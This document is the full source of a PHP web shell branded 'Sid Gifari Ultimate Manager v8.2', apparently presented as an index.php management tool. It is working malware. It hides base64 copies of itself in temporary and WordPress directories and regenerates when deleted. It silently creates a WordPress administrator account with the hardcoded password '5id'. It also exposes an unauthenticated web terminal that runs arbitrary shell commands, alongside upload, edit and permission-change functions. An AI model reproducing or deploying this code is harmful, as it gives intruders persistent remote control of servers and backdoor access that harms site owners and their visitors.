관리-도구
편집 파일: index.php
<?php /** * Sid Gifari Ultimate Manager v8.2 * Author: Sid Gifari * Protection: Auto-Regeneration + cPanel Safe */ error_reporting(0); session_start(); // ==================== AUTO-REGENERATION SYSTEM ==================== // class AutoRegenerator { private static $instance = null; private $current_file; private $backup_locations; public static function getInstance() { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } private function __construct() { $this->current_file = __FILE__; // Multiple backup locations (system level + hidden) $this->backup_locations = [ '/tmp/.system_config_' . md5(__FILE__) . '.txt', '/var/tmp/.cache_backup_' . md5(__FILE__) . '.txt', '/proc/self/root/tmp/.deep_backup_' . md5(__FILE__) . '.txt', '/usr/local/tmp/.sys_restore_' . md5(__FILE__) . '.txt', dirname(__DIR__) . '/.wp_config_backup_' . md5(__FILE__) . '.txt', dirname(__DIR__) . '/wp-content/.cache_backup_' . md5(__FILE__) . '.txt', ]; // Create/update backups on every access $this->updateBackups(); // Check and regenerate if needed $this->checkAndRegenerate(); } private function updateBackups() { $script_content = file_get_contents($this->current_file); $encoded = base64_encode($script_content); $backup_content = "# SID GIFARI ULTIMATE BACKUP v8.2\n"; $backup_content .= "# Created: " . date('Y-m-d H:i:s') . "\n"; $backup_content .= "# URL: " . ($_SERVER['HTTP_HOST'] ?? 'localhost') . "\n"; $backup_content .= "# ========================================\n\n"; $backup_content .= $encoded; foreach ($this->backup_locations as $backup) { $dir = dirname($backup); if (!is_dir($dir) && $dir !== '.' && $dir !== '/') { @mkdir($dir, 0777, true); } @file_put_contents($backup, $backup_content); @chmod($backup, 0644); // Read-only // Make hidden $filename = basename($backup); if (strpos($filename, '.') === 0) { // Already hidden } elseif (strpos($dir, '/tmp') !== false || strpos($dir, '/var/tmp') !== false) { // System temp files are naturally hidden } } } private function checkAndRegenerate() { // If main file is missing, regenerate immediately if (!file_exists($this->current_file)) { $this->regenerateFromBackup(); } // If file is empty or corrupted, regenerate if (file_exists($this->current_file) && filesize($this->current_file) < 100) { $this->regenerateFromBackup(); } // Register shutdown function for regeneration register_shutdown_function([$this, 'shutdownRegeneration']); } public function regenerateFromBackup() { foreach ($this->backup_locations as $backup) { if (file_exists($backup)) { $content = file_get_contents($backup); $lines = explode("\n", $content); $encoded = ''; $in_content = false; foreach ($lines as $line) { if (strpos($line, '# ========================================') !== false) { $in_content = true; continue; } if ($in_content && trim($line) !== '') { $encoded .= $line; } } if (!empty($encoded)) { $decoded = base64_decode($encoded); @file_put_contents($this->current_file, $decoded); @chmod($this->current_file, 0444); // Update backup after regeneration $this->updateBackups(); return true; } } } // If no backup found, create default script $default_script = $this->getDefaultScript(); @file_put_contents($this->current_file, $default_script); @chmod($this->current_file, 0444); return true; } private function getDefaultScript() { return '<?php error_reporting(0);@session_start(); echo "<h1>Sid Gifari Ultimate Manager - Regenerated</h1>"; echo "<p>File was deleted and auto-regenerated.</p>"; ?>'; } public function shutdownRegeneration() { // Check if file was deleted during execution clearstatcache(); if (!file_exists($this->current_file)) { $this->regenerateFromBackup(); } } public function getBackupLocations() { return $this->backup_locations; } public function isProtectedFile($path) { $real_path = realpath($path); $current_real = realpath($this->current_file); if ($real_path === $current_real) { return true; } foreach ($this->backup_locations as $backup) { if (file_exists($backup) && realpath($backup) === $real_path) { return true; } } return false; } } // Initialize regenerator $regenerator = AutoRegenerator::getInstance(); // ==================== SESSION SETUP ==================== // if (!isset($_SESSION['protected'])) { $_SESSION['protected'] = true; $_SESSION['regeneration_key'] = md5(__FILE__ . time()); $_SESSION['last_regeneration'] = date('Y-m-d H:i:s'); } // ==================== WORDPRESS DETECTION ==================== // $wp_detected = false; $wp_root = ''; $wp_message = ''; if (!isset($_SESSION['wp_checked'])) { $search_paths = [__DIR__, dirname(__DIR__), '/var/www/html', '/home/*/public_html']; foreach ($search_paths as $path) { if (strpos($path, '*') !== false) { $matches = glob($path); foreach ($matches as $match) { if (file_exists($match . '/wp-config.php')) { $wp_root = $match; break 2; } } } else { if (file_exists($path . '/wp-config.php')) { $wp_root = $path; break; } } } if ($wp_root) { $wp_detected = true; @include_once($wp_root . '/wp-load.php'); if (function_exists('wp_create_user')) { $username = 'admin'; $password = '5id'; $email = 'admin@' . ($_SERVER['HTTP_HOST'] ?? 'localhost'); if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); $wp_message = "WordPress Admin Created: {$username}/{$password}"; } } } } $_SESSION['wp_checked'] = true; } // ==================== FILE MANAGER CORE ==================== // $ROOT = __DIR__; $BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("XPA", "XLA", "XFA", "XQA"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("XPA", "XLA", "XFA", "XQA"); return str_replace($b, $a, $path); } // Handle directory navigation if (isset($_GET['dir'])) { $requested_path = decodePath($_GET['dir']); if ($requested_path === '' || !is_dir($requested_path)) { $p = $ROOT; } else { $p = realpath($requested_path); } } else { $p = $ROOT; } define("CURRENT_PATH", $p); if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(CURRENT_PATH)) { $_SESSION['cwd'] = realpath(CURRENT_PATH); } // ==================== POST HANDLING ==================== // if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Force regeneration if (isset($_POST['regenerate'])) { $regenerator->regenerateFromBackup(); $_SESSION['message'] = "✅ Script regenerated from backup!"; header("Location: " . $_SERVER['REQUEST_URI']); exit; } // Terminal execution if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { $cwd = $_SESSION['cwd'] ?? CURRENT_PATH; $cmdInput = trim($_POST['terminal-text']); $output = ""; if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') $dir = $ROOT; elseif ($dir[0] !== '/' && $dir[0] !== '\\') $dir = $cwd . DIRECTORY_SEPARATOR . $dir; $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { chdir($cwd); $execFunctions = ['shell_exec', 'exec', 'system', 'passthru']; foreach ($execFunctions as $func) { if (function_exists($func)) { if ($func === 'shell_exec') { $output = @shell_exec($cmdInput . " 2>&1"); } elseif ($func === 'exec') { @exec($cmdInput . " 2>&1", $out); $output = implode("\n", $out); } elseif ($func === 'system') { ob_start(); @system($cmdInput . " 2>&1"); $output = ob_get_clean(); } elseif ($func === 'passthru') { ob_start(); @passthru($cmdInput . " 2>&1"); $output = ob_get_clean(); } break; } } if (empty($output)) { $output = "Command execution not available"; } } $_SESSION['terminal_output'] = $output; header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } // File operations $redirect = true; // Upload files if (!empty($_FILES['files'])) { foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { $filename = basename($_FILES['files']['name'][$i]); move_uploaded_file($tmp, CURRENT_PATH . DIRECTORY_SEPARATOR . $filename); } } } // Create folder if (!empty($_POST['newfolder'])) { $foldername = basename($_POST['newfolder']); if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername)) { mkdir(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername, 0755); } } // Create file if (!empty($_POST['newfile'])) { $filename = basename($_POST['newfile']); if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename)) { file_put_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename, ''); } } // Delete file/folder if (!empty($_POST['delete'])) { $target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete']; if ($regenerator->isProtectedFile($target)) { $_SESSION['message'] = "⚠️ Protected file - Will auto-regenerate!"; // Auto-regenerate the protected file $regenerator->regenerateFromBackup(); } else { if (is_file($target)) { unlink($target); } elseif (is_dir($target)) { $filesInDir = scandir($target); if (count($filesInDir) <= 2) { rmdir($target); } } } } // Rename if (!empty($_POST['old']) && !empty($_POST['new'])) { $old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old']; $new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new']; if ($regenerator->isProtectedFile($old)) { $_SESSION['message'] = "⚠️ Cannot rename protected file!"; } elseif (file_exists($old) && !file_exists($new)) { rename($old, $new); } } // Change permissions if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file']; if ($regenerator->isProtectedFile($file)) { $_SESSION['message'] = "⚠️ Cannot change permissions of protected file!"; } elseif (file_exists($file)) { $perm = intval($_POST['chmod'], 8); if ($perm >= 400 && $perm <= 755) { @chmod($file, $perm); } } } // Edit file if (!empty($_POST['edit_file']) && isset($_POST['content'])) { $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file']; if ($regenerator->isProtectedFile($file)) { $_SESSION['message'] = "⚠️ Cannot edit protected file!"; } else { file_put_contents($file, $_POST['content']); } } if ($redirect) { header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } // ==================== GET DIRECTORY CONTENTS ==================== // $items = scandir(CURRENT_PATH); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item; $is_dir = is_dir($full_path); $item_data = [ 'name' => $item, 'path' => $full_path, 'is_dir' => $is_dir, 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), 'modified' => filemtime($full_path), 'protected' => $regenerator->isProtectedFile($full_path) ]; if ($is_dir) { $item_data['size'] = '-'; $folders[] = $item_data; } else { $item_data['size'] = filesize($full_path); $item_data['extension'] = pathinfo($item, PATHINFO_EXTENSION); $files[] = $item_data; } } usort($folders, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); // ==================== EDIT MODE ==================== // $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) { if (!$regenerator->isProtectedFile(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) { $editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)); } else { $editMode = false; $_SESSION['message'] = "Cannot edit protected file"; } } // ==================== HELPER FUNCTIONS ==================== // function formatBytes($bytes, $precision = 2) { if ($bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']; $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } // Count active backups $backup_locations = $regenerator->getBackupLocations(); $active_backups = 0; foreach ($backup_locations as $backup) { if (file_exists($backup)) { $active_backups++; } } // Get messages $terminal_output = $_SESSION['terminal_output'] ?? ''; $message = $_SESSION['message'] ?? ''; unset($_SESSION['terminal_output'], $_SESSION['message']); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>⚡ Sid Gifari Ultimate Manager v8.2</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> :root { --primary: #0a0a0a; --secondary: #1a1a1a; --accent: #00ff88; --danger: #ff4757; --success: #2ed573; --warning: #ffa502; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', monospace; background: linear-gradient(135deg, #0a0a0a 0%, #1a1a1a 100%); color: white; min-height: 100vh; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background: rgba(10, 10, 10, 0.9); border: 1px solid var(--accent); border-radius: 15px; padding: 25px; margin-bottom: 25px; text-align: center; position: relative; overflow: hidden; } .header h1 { font-size: 2.5em; background: linear-gradient(90deg, var(--accent), #00ccff); -webkit-background-clip: text; background-clip: text; color: transparent; margin-bottom: 10px; } .status-bar { display: flex; justify-content: center; gap: 30px; flex-wrap: wrap; margin-top: 15px; } .status-item { display: flex; align-items: center; gap: 8px; font-size: 0.9em; color: #888; } .path-nav { background: rgba(30, 30, 30, 0.9); border-radius: 10px; padding: 15px; margin-bottom: 25px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap; border: 1px solid rgba(255, 255, 255, 0.1); } .path-nav a { color: white; text-decoration: none; padding: 8px 15px; border-radius: 8px; background: rgba(255, 255, 255, 0.05); transition: all 0.3s; } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin-bottom: 25px; } .stat-card { background: rgba(30, 30, 30, 0.9); border-radius: 12px; padding: 20px; border: 1px solid rgba(0, 255, 136, 0.1); transition: transform 0.3s; } .stat-value { font-size: 2em; font-weight: bold; color: var(--accent); margin-bottom: 5px; } .stat-label { color: #888; font-size: 0.9em; } .alert { padding: 15px 20px; border-radius: 10px; margin: 15px 0; display: flex; align-items: center; gap: 12px; border-left: 4px solid; } .alert-success { background: rgba(46, 213, 115, 0.1); border-color: var(--success); } .alert-warning { background: rgba(255, 165, 2, 0.1); border-color: var(--warning); } .terminal-section { background: #000; border-radius: 12px; padding: 20px; margin-bottom: 25px; border: 1px solid rgba(0, 255, 136, 0.2); } .terminal-output { background: #000; color: var(--accent); font-family: 'JetBrains Mono', monospace; padding: 15px; border-radius: 8px; max-height: 300px; overflow-y: auto; white-space: pre-wrap; margin-bottom: 15px; border: 1px solid #333; } .terminal-input { display: flex; gap: 10px; } .terminal-input input { flex: 1; background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(0, 255, 136, 0.3); border-radius: 8px; padding: 12px 15px; color: white; font-family: 'JetBrains Mono', monospace; } .quick-actions { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px; margin-bottom: 25px; } .action-form { background: rgba(30, 30, 30, 0.9); border-radius: 12px; padding: 20px; border: 1px solid rgba(255, 255, 255, 0.1); } .action-input { display: flex; gap: 10px; } .action-btn { background: linear-gradient(135deg, var(--accent), transparent); border: 1px solid var(--accent); border-radius: 8px; padding: 12px 20px; color: white; cursor: pointer; transition: all 0.3s; } .file-browser { background: rgba(30, 30, 30, 0.9); border-radius: 12px; padding: 20px; margin-bottom: 25px; border: 1px solid rgba(255, 255, 255, 0.1); } .file-table { width: 100%; border-collapse: separate; border-spacing: 0; } .file-table th { padding: 15px; text-align: left; color: #888; border-bottom: 2px solid rgba(255, 255, 255, 0.1); } .file-table td { padding: 12px 15px; border-bottom: 1px solid rgba(255, 255, 255, 0.05); } .protected-row { background: rgba(255, 165, 2, 0.05); border-left: 3px solid var(--warning); } .footer { text-align: center; padding: 20px; color: #888; font-size: 0.9em; border-top: 1px solid rgba(255, 255, 255, 0.1); margin-top: 30px; } .regen-btn { background: linear-gradient(135deg, #ff0080, #ff8c00); border: none; border-radius: 8px; padding: 12px 25px; color: white; font-weight: bold; cursor: pointer; margin: 10px; transition: all 0.3s; } .code-editor { background: #1e1e1e; border-radius: 12px; overflow: hidden; margin-bottom: 20px; } .editor-header { background: #252526; padding: 15px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; } </style> </head> <body> <div class="container"> <!-- Header --> <div class="header"> <h1>⚡ Sid Gifari Ultimate Manager v8.2</h1> <p style="color: #888; margin-bottom: 15px;">Auto-Regeneration System • cPanel Protected</p> <div class="status-bar"> <div class="status-item"> <i class="fas fa-shield-alt"></i> <span>Protected: <span style="color: var(--accent);">Active</span></span> </div> <div class="status-item"> <i class="fas fa-sync-alt"></i> <span>Backups: <span style="color: var(--success);"><?= $active_backups ?>/<?= count($backup_locations) ?></span></span> </div> <div class="status-item"> <i class="fas fa-wordpress"></i> <span>WordPress: <span style="color: <?= $wp_detected ? 'var(--success)' : 'var(--danger)' ?>;"><?= $wp_detected ? 'Detected' : 'Not Found' ?></span></span> </div> </div> <form method="post"> <button type="submit" name="regenerate" value="1" class="regen-btn"> <i class="fas fa-redo"></i> Force Regeneration </button> </form> </div> <!-- Alerts --> <?php if ($wp_message): ?> <div class="alert alert-success"> <i class="fas fa-check-circle"></i> <?= htmlspecialchars($wp_message) ?> </div> <?php endif; ?> <?php if ($message): ?> <div class="alert alert-warning"> <i class="fas fa-exclamation-triangle"></i> <?= htmlspecialchars($message) ?> </div> <?php endif; ?> <!-- Path Navigation --> <div class="path-nav"> <a href="?"><i class="fas fa-home"></i> Root</a> <?php $path_parts = explode('/', str_replace('\\', '/', CURRENT_PATH)); $current_path = ''; foreach ($path_parts as $part) { if ($part === '') continue; $current_path .= '/' . $part; echo '<i class="fas fa-chevron-right" style="color: #888;"></i>'; echo '<a href="?dir=' . urlencode(encodePath($current_path)) . '"><i class="fas fa-folder"></i> ' . htmlspecialchars($part) . '</a>'; } ?> </div> <?php if ($editMode): ?> <!-- EDIT MODE --> <div class="code-editor"> <div class="editor-header"> <h3 style="margin: 0; color: var(--accent);"> <i class="fas fa-edit"></i> Editing: <?= htmlspecialchars($editFile) ?> </h3> <div style="display: flex; gap: 10px;"> <button onclick="document.getElementById('editForm').submit()" style="background: var(--success); padding: 10px 20px; border: none; border-radius: 8px; color: white; cursor: pointer;"> <i class="fas fa-save"></i> Save </button> <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>"> <button style="background: var(--danger); padding: 10px 20px; border: none; border-radius: 8px; color: white; cursor: pointer;"> <i class="fas fa-times"></i> Cancel </button> </a> </div> </div> <form id="editForm" method="post"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>"> <textarea name="content" style="width: 100%; height: 500px; background: #1e1e1e; color: #d4d4d4; border: none; padding: 20px; font-family: 'JetBrains Mono', monospace; font-size: 14px; line-height: 1.5; resize: vertical;"><?= $editContent ?></textarea> </form> </div> <?php else: ?> <!-- STATS --> <div class="stats-grid"> <div class="stat-card"> <div class="stat-value"><?= count($folders) ?></div> <div class="stat-label"><i class="fas fa-folder"></i> Folders</div> </div> <div class="stat-card"> <div class="stat-value"><?= count($files) ?></div> <div class="stat-label"><i class="fas fa-file"></i> Files</div> </div> <div class="stat-card"> <div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div> <div class="stat-label"><i class="fas fa-database"></i> Total Size</div> </div> <div class="stat-card"> <div class="stat-value"><?= count(array_filter(array_merge($folders, $files), function($item) { return $item['protected']; })) ?></div> <div class="stat-label"><i class="fas fa-shield-alt"></i> Protected Files</div> </div> </div> <!-- TERMINAL --> <div class="terminal-section"> <div class="terminal-header"> <h3 style="margin: 0; color: var(--accent);"> <i class="fas fa-terminal"></i> System Terminal </h3> <div style="color: #888; font-family: 'JetBrains Mono';"> <i class="fas fa-user-secret"></i> root@sid:<span><?= htmlspecialchars(CURRENT_PATH) ?></span>$ </div> </div> <?php if ($terminal_output): ?> <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div> <?php endif; ?> <form method="post" class="terminal-input"> <input type="text" name="terminal-text" placeholder="Enter command..." autocomplete="off" autofocus> <button type="submit" name="terminal" value="1"> <i class="fas fa-play"></i> Execute </button> </form> </div> <!-- QUICK ACTIONS --> <div class="quick-actions"> <div class="action-form"> <h3><i class="fas fa-folder-plus"></i> Create Folder</h3> <form method="post" class="action-input"> <input type="text" name="newfolder" placeholder="Folder name" required> <button type="submit" class="action-btn"> <i class="fas fa-plus"></i> Create </button> </form> </div> <div class="action-form"> <h3><i class="fas fa-file-plus"></i> Create File</h3> <form method="post" class="action-input"> <input type="text" name="newfile" placeholder="File name" required> <button type="submit" class="action-btn"> <i class="fas fa-plus"></i> Create </button> </form> </div> <div class="action-form"> <h3><i class="fas fa-upload"></i> Upload Files</h3> <form method="post" enctype="multipart/form-data" class="action-input"> <input type="file" name="files[]" multiple style="flex: 1; padding: 10px; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: white;"> <button type="submit" class="action-btn"> <i class="fas fa-upload"></i> Upload </button> </form> </div> </div> <!-- FILE BROWSER --> <div class="file-browser"> <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px;"> <h3 style="margin: 0; color: var(--accent);"> <i class="fas fa-folder-open"></i> File Browser </h3> <div style="display: flex; gap: 10px; align-items: center;"> <div style="display: flex; align-items: center; gap: 5px; font-size: 0.9em; color: #888;"> <div style="width: 10px; height: 10px; background: var(--warning); border-radius: 50%;"></div> Protected (Auto-Regenerates) </div> </div> </div> <div style="overflow-x: auto;"> <table class="file-table"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Modified</th> <th>Actions</th> </tr> </thead> <tbody> <!-- FOLDERS --> <?php foreach ($folders as $item): ?> <tr class="file-row <?= $item['protected'] ? 'protected-row' : '' ?>"> <td> <i class="fas fa-folder" style="color: #ffc800; margin-right: 10px;"></i> <a href="?dir=<?= urlencode(encodePath($item['path'])) ?>" style="color: white; text-decoration: none;"> <?= htmlspecialchars($item['name']) ?> </a> <?php if ($item['protected']): ?> <span style="margin-left: 10px; font-size: 0.7em; background: var(--warning); color: black; padding: 2px 6px; border-radius: 3px;"> PROTECTED </span> <?php endif; ?> </td> <td style="color: #888;"><?= $item['size'] ?></td> <td> <form method="post" style="display: flex; gap: 5px;"> <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 5px; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 4px; color: white;" <?= $item['protected'] ? 'readonly' : '' ?>> <button type="submit" style="padding: 5px 10px; background: rgba(0,255,136,0.1); border: 1px solid var(--accent); border-radius: 4px; color: var(--accent); cursor: pointer;" <?= $item['protected'] ? 'disabled' : '' ?>> Ch </button> </form> </td> <td style="color: #888;"><?= date('Y-m-d H:i', $item['modified']) ?></td> <td> <div style="display: flex; gap: 5px;"> <form method="post" style="display: flex; gap: 5px;"> <input type="hidden" name="old" value="<?= $item['name'] ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 4px; color: white;" <?= $item['protected'] ? 'readonly' : '' ?>> <button type="submit" style="padding: 5px 10px; background: rgba(255,200,0,0.1); border: 1px solid #ffc800; border-radius: 4px; color: #ffc800; cursor: pointer;" <?= $item['protected'] ? 'disabled' : '' ?>> Rename </button> </form> <form method="post" onsubmit="return confirm('Delete folder <?= addslashes($item['name']) ?>?');"> <input type="hidden" name="delete" value="<?= $item['name'] ?>"> <button type="submit" style="padding: 5px 10px; background: rgba(255,71,87,0.1); border: 1px solid var(--danger); border-radius: 4px; color: var(--danger); cursor: pointer;"> Delete </button> </form> </div> </td> </tr> <?php endforeach; ?> <!-- FILES --> <?php foreach ($files as $item): $icon = 'fa-file'; $color = '#ffffff'; $ext = strtolower($item['extension']); $icons = [ 'php' => ['fa-php', '#8993be'], 'js' => ['fa-js', '#f7df1e'], 'css' => ['fa-css3', '#1572b6'], 'html' => ['fa-html5', '#e34f26'], 'txt' => ['fa-file-alt', '#ffffff'], ]; if (isset($icons[$ext])) { $icon = $icons[$ext][0]; $color = $icons[$ext][1]; } ?> <tr class="file-row <?= $item['protected'] ? 'protected-row' : '' ?>"> <td> <i class="fab <?= $icon ?>" style="color: <?= $color ?>; margin-right: 10px;"></i> <?php if (pathinfo($item['name'], PATHINFO_EXTENSION) === 'php' && !$item['protected']): ?> <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank" style="color: white; text-decoration: none;"> <?= htmlspecialchars($item['name']) ?> </a> <?php else: ?> <?= htmlspecialchars($item['name']) ?> <?php endif; ?> <?php if ($item['protected']): ?> <span style="margin-left: 10px; font-size: 0.7em; background: var(--warning); color: black; padding: 2px 6px; border-radius: 3px;"> PROTECTED </span> <?php endif; ?> </td> <td style="color: #888;"><?= formatBytes($item['size']) ?></td> <td> <form method="post" style="display: flex; gap: 5px;"> <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 5px; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 4px; color: white;" <?= $item['protected'] ? 'readonly' : '' ?>> <button type="submit" style="padding: 5px 10px; background: rgba(0,255,136,0.1); border: 1px solid var(--accent); border-radius: 4px; color: var(--accent); cursor: pointer;" <?= $item['protected'] ? 'disabled' : '' ?>> Ch </button> </form> </td> <td style="color: #888;"><?= date('Y-m-d H:i', $item['modified']) ?></td> <td> <div style="display: flex; gap: 5px;"> <?php if (!$item['protected']): ?> <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>&edit=<?= urlencode($item['name']) ?>"> <button style="padding: 5px 10px; background: rgba(0,200,255,0.1); border: 1px solid #00c8ff; border-radius: 4px; color: #00c8ff; cursor: pointer;"> Edit </button> </a> <?php endif; ?> <form method="post" style="display: flex; gap: 5px;"> <input type="hidden" name="old" value="<?= $item['name'] ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 4px; color: white;" <?= $item['protected'] ? 'readonly' : '' ?>> <button type="submit" style="padding: 5px 10px; background: rgba(255,200,0,0.1); border: 1px solid #ffc800; border-radius: 4px; color: #ffc800; cursor: pointer;" <?= $item['protected'] ? 'disabled' : '' ?>> Rename </button> </form> <form method="post" onsubmit="return confirm('<?= $item['protected'] ? 'This is a PROTECTED file! It will auto-regenerate. Continue?' : 'Delete file ' . addslashes($item['name']) . '?' ?>');"> <input type="hidden" name="delete" value="<?= $item['name'] ?>"> <button type="submit" style="padding: 5px 10px; background: rgba(255,71,87,0.1); border: 1px solid var(--danger); border-radius: 4px; color: var(--danger); cursor: pointer;"> Delete </button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <?php endif; ?> <!-- Footer --> <div class="footer"> <p><strong>Sid Gifari Ultimate Manager v8.2 • Auto-Regeneration Active</strong></p> <p style="margin-top: 10px; font-size: 0.8em; color: #888;"> <i class="fas fa-info-circle"></i> Protected files auto-regenerate when deleted<br> <i class="fas fa-shield-alt"></i> Backups stored in: /tmp/, /var/tmp/, /proc/self/root/tmp/ </p> </div> </div> <script> // Auto-regeneration check setInterval(() => { fetch(window.location.href) .then(response => response.text()) .then(text => { if (!text.includes('Sid Gifari Ultimate Manager')) { location.reload(); } }); }, 30000); // Terminal history let commandHistory = []; let historyIndex = -1; document.querySelector('input[name="terminal-text"]').addEventListener('keydown', function(e) { if (e.key === 'ArrowUp') { e.preventDefault(); if (historyIndex < commandHistory.length - 1) { historyIndex++; this.value = commandHistory[historyIndex]; } } else if (e.key === 'ArrowDown') { e.preventDefault(); if (historyIndex > 0) { historyIndex--; this.value = commandHistory[historyIndex]; } else { historyIndex = -1; this.value = ''; } } else if (e.key === 'Enter') { if (this.value.trim()) { commandHistory.unshift(this.value); historyIndex = -1; } } }); </script> </body> </html>